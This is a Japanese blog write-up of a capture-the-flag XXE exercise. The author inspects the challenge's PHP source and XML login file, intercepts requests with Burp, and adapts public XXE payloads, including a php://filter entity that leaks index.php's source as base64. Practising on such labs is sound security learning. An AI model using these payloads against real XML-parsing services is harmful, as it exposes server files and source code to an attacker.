Shikata Ga Nai

Private? There is no such things.

XML External Entity - Injection - Payloadsをためしてみた

Hello there, ('ω')ノ

 

金曜日からPCを製作していて、環境構築などで忙しく。

今回は、x300のベアボーンにRyzenのCPUを組み合わせて。

これがなかなか、コンパクトで性能もよくて。

 

さて、下記のサイトでXXEを試すためすことに。

 https://challenge.acictf.com/problem/55500

 

f:id:ThisIsOne:20210124171332p:plain

 

ソースコードは、下記からダウンロードして、解凍を。

 wget https://challenge.acictf.com/problem/55500/src.zip

 

f:id:ThisIsOne:20210124134043p:plain

 

解凍したファイルのソースコードを閲覧するために。

Sublime Textの署名鍵をダウンロードし登録して。

wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -

 

sublime textリポジトリを追加して。

echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list

 

Sublime Textをインストールして。

 apt-get update

 apt-get install sublime-text

 

f:id:ThisIsOne:20210124140140p:plain

 

下記のファイルから、ログイン時のXMLファイルがわかって。

 subl funcs.php

 

f:id:ThisIsOne:20210124140253p:plain

 

下記のURLでXMLファイルの確認を。

 https://challenge.acictf.com/problem/55500/creds.xml

 

f:id:ThisIsOne:20210124140701p:plain

 

ソースコードからログインはパスワードなしとのことで。

 

f:id:ThisIsOne:20210124140743p:plain

 

ログイン後の画面を。

 

f:id:ThisIsOne:20210124140809p:plain

 

一部、変更して実行すると。

 

f:id:ThisIsOne:20210124141752p:plain

 

地図のハイライトが変更されて。

 

f:id:ThisIsOne:20210124141813p:plain

 

Burpでリクエストを確認して。

 

f:id:ThisIsOne:20210124142445p:plain

 

XMLをデコードして内容を確認して。

 

f:id:ThisIsOne:20210124142404p:plain

 

下記のサイトにXXEのペイロードがあるので。

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#tools

 

f:id:ThisIsOne:20210124143225p:plain

 

ペイロードの一部を変更して。

 

<!--?xml version="1.0" ?--><!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<cybermap>
<name>&example;</name>
<country>CN</country>
<country>US</country>
</cybermap>

 

f:id:ThisIsOne:20210124150801p:plain

 

エンコードした文字を実行すると、反映されたことが確認できて。

 

%3c%21%2d%2d%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%3f%2d%2d%3e%3c%21%2d%2d%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%3f%2d%2d%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%65%70%6c%61%63%65%20%5b%3c%21%45%4e%54%49%54%59%20%65%78%61%6d%70%6c%65%20%22%44%6f%65%22%3e%20%5d%3e%0a%3c%63%79%62%65%72%6d%61%70%3e%0a%3c%6e%61%6d%65%3e%26%65%78%61%6d%70%6c%65%3b%3c%2f%6e%61%6d%65%3e%0a%3c%63%6f%75%6e%74%72%79%3e%43%4e%3c%2f%63%6f%75%6e%74%72%79%3e%0a%3c%63%6f%75%6e%74%72%79%3e%55%53%3c%2f%63%6f%75%6e%74%72%79%3e%0a%3c%2f%63%79%62%65%72%6d%61%70%3e

 

f:id:ThisIsOne:20210124150719p:plain

 

もう一つ、実行してみることに。

 

f:id:ThisIsOne:20210124155111p:plain

 

同じようにペイロードの一部を変更して。

 

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<cybermap>
<name>&xxe;</name>
<country>CN</country>
<country>US</country>
</cybermap>

 

f:id:ThisIsOne:20210124154646p:plain

 

実行すると、レスポンスに反映されたようで。

 

f:id:ThisIsOne:20210124154722p:plain

 

レスポンスで得られた文字ををBase64でデコードしてみると。

ソースコードが確認できた。

 

f:id:ThisIsOne:20210124154940p:plain

 

Best regards, (^^ゞ